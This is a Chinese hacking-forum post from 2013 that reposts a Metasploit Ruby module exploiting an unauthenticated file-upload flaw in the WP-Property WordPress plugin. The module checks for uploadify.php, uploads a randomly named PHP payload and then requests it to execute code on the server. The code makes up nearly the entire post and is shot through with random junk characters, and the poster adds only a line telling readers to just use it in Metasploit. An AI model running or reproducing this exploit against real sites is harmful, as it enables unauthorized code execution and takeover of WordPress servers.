找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2176|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
4 A1 h8 _. l9 M
+ `3 p8 i. n& |' d0 I! h ## # This file is part of the Metasploit Framework and may be subject to4 R* S( f* c3 \: r
& ^3 V& y& ]9 Z
# redistribution and commercial restrictions. Please see the Metasploit
6 R, f7 K3 B2 J, J6 e6 B/ B; }) m# V9 v3 b
# Framework web site for more information on licensing and terms of use.6 G2 n7 j0 T9 M2 H) i! W

" B9 P& S! y7 Q7 u  j9 u$ f#   http://metasploit.com/framework/ ##/ T1 Z! i8 S$ Z$ l  L

" a% z7 k0 q% R/ y& |5 |
$ A, y0 i. y5 M  ~6 E) f3 y/ f" H- c/ {

; W3 A7 a& ~# L0 y/ A! h# L9 v2 a/ r* f0 B/ h( O
require 'msf/core'7 h# b* W0 p* F* w. |$ j& \6 a9 c
require 'msf/core/exploit/php_exe'
- t. p6 U% v2 w5 T! p; b0 W' t( F* e; z  X+ _" ^
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',/ \. h) p4 Q0 ]3 |, e5 b/ ]
'Description'    => %q{
5 Y& a% ?) ?* x4 K' q. O1 nThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>7 r# H/ s9 _# J" n- T, A3 T
[
6 ?6 b' i8 K* q/ M'Sammy FORGIT', # initial discovery
& h3 y6 _9 X4 {4 C0 ?3 @  [& s  J'James Fitts <fitts.james[at]gmail.com>' # metasploit module
; `% k1 K. D6 U4 f],1 J4 Q" P. L0 g4 L5 F: o& C+ o
'License'        => MSF_LICENSE,
8 h2 e2 _" g1 x, ?& |. T1 t: f'References'     =>
8 F0 v/ y5 _, I0 G& N[
" ?2 }+ ~5 ?0 r& {( x# r1 b[ 'OSVDB', '82656' ],; W  `4 e4 |- v2 o4 M
[ 'BID', '53787' ],7 U- a' q+ i7 r$ H* H1 `
[ 'EDB', '18987'],+ i3 x% o5 I$ H
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
: [* K, Q, D6 f  N3 J8 i],+ R( M. i5 \9 A# g0 I6 q
'Payload'        =>* Z6 H& J* V( U, F, v( g  X
{
8 L! o: i4 E+ p6 W- ]& y'BadChars' => "\x00",9 G, n6 B' S3 e: J( O
},
- Y& I: N& f- `'Platform'       => 'php',
: z. Q4 d3 w8 v& \* e'Arch'           => ARCH_PHP,0 a8 ^8 R6 k/ ]( m
'Targets'        =>8 j0 M/ n/ M' l. }( q2 j
[6 q0 |. {7 }( \9 t
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ d0 q# B: J! a2 G: R3 t) D7 I[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
) H- ?- \$ D7 [: \3 q* Z, X],
- I% K) c. l$ U4 ?. v. a2 C'DefaultTarget'  => 0,
# q5 b0 K! B4 U8 I$ r: A8 e'DisclosureDate' => 'Mar 26 2012')); _7 S, L- G1 ?1 y" U$ |& Q
% \' e! s: }. F, I
register_options(
& J; r6 S" r, u3 y  W% Y8 p[- [- `* ?2 o" x
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])5 s! W" j2 x9 d4 H; X5 P* ^& Q
], self.class); z9 b2 ~) a. Z8 G% |
end! f- e) o1 C* |8 U8 a( d( S; G
+ Z. n: f; ~7 d& K% G
def check
! m# R# f2 S! w7 Z4 C" Nuri =  target_uri.path% L8 c* R$ t5 F; f1 Q" ?
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
/ Y3 `' w/ j1 ~2 `: g) {'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
# m, z4 A6 K7 p0 k0 x" k. _( j})
8 O/ Y. @' |' {" w/ b8 ^/ B% }& ^- P: M7 P2 Z8 v& M3 c; j
if not res or res.code != 200
2 ]# l/ [* x8 D8 Ireturn Exploit::CheckCode::Unknown1 G; r; W0 b' {0 g4 b0 N
end
4 x% |) D3 \0 d
5 m) T: t/ Z5 ureturn Exploit::CheckCode::Appears
2 X# \" ]& A) K+ Oend
1 e, k2 y3 U, F5 D
  O  ^6 m; ^, M9 T0 S7 [% @' vdef exploit5 C3 o3 J8 L4 v( }  g
uri =  target_uri.path
  w' G, Q1 A4 ?/ B" s% A0 buri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)1 U# E( h" H6 }( e! x5 N4 W6 a

! g% A4 s2 ~0 U1 M& Z3 U2 odata = Rex::MIME::Message.new
: \, K& `! f1 ]1 X8 X$ ~data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
5 ?2 b! Y4 y" U; n6 r5 X. c6 Ndata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
  m% k3 e, L. \7 b2 @1 C; N3 cpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
6 \  o8 H& p) X+ B( Y6 Q3 |# @1 t1 N% Y7 i2 r
print_status("#{peer} - Uploading payload #{@payload_name}")
; y/ ^/ U/ Q8 V0 B- b7 f% T! G8 |res = send_request_cgi({
1 D/ ^7 n+ u6 d0 K; ~% j* P'method' => 'POST',7 ]! M1 L. D  R) m% D% r
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",: x: P, o5 q, S1 f4 F
'ctype'  => "multipart/form-data; boundary=#{data.bound}",5 b* d- W9 [0 U- ?
'data'   => post_data
# r! Y9 G2 B' }3 P0 {1 \})
% ?- W7 R$ z6 t1 q$ G# m8 |) u5 w( x1 n: q0 G
if not res or res.code != 200 or res.body !~ /#{@payload_name}/8 b* B0 j. x. l% h" O" Z
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
6 c5 @9 b: ^! @2 v8 |& dend
1 `' P; S$ A- d3 u3 k- N4 x0 N& r/ V! L. w% E$ L$ f8 `: ?
upload_uri = res.body
- a# y+ S9 _* c) J
4 j/ o& R) c. q! Bprint_status("#{peer} - Executing payload #{@payload_name}")
! i+ a4 v0 A+ Gres = send_request_raw({9 j4 u+ y& G5 _: G
'uri'    => upload_uri,! A* H  s% ~6 `5 G" V- J, v) T
'method' => 'GET'' q2 O* `9 |$ b+ P8 @( H+ A
})
- h5 e! c. ?; w- r6 `: gend$ d0 o- h' u: x
end' I( H+ d# n/ p

$ h) S7 X/ u3 i* Q不要问我这写的是什么 怎么利用 我是说msf.
5 g) s' b  x# ^; ^, {; ?
- v' N- J* I0 B- Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表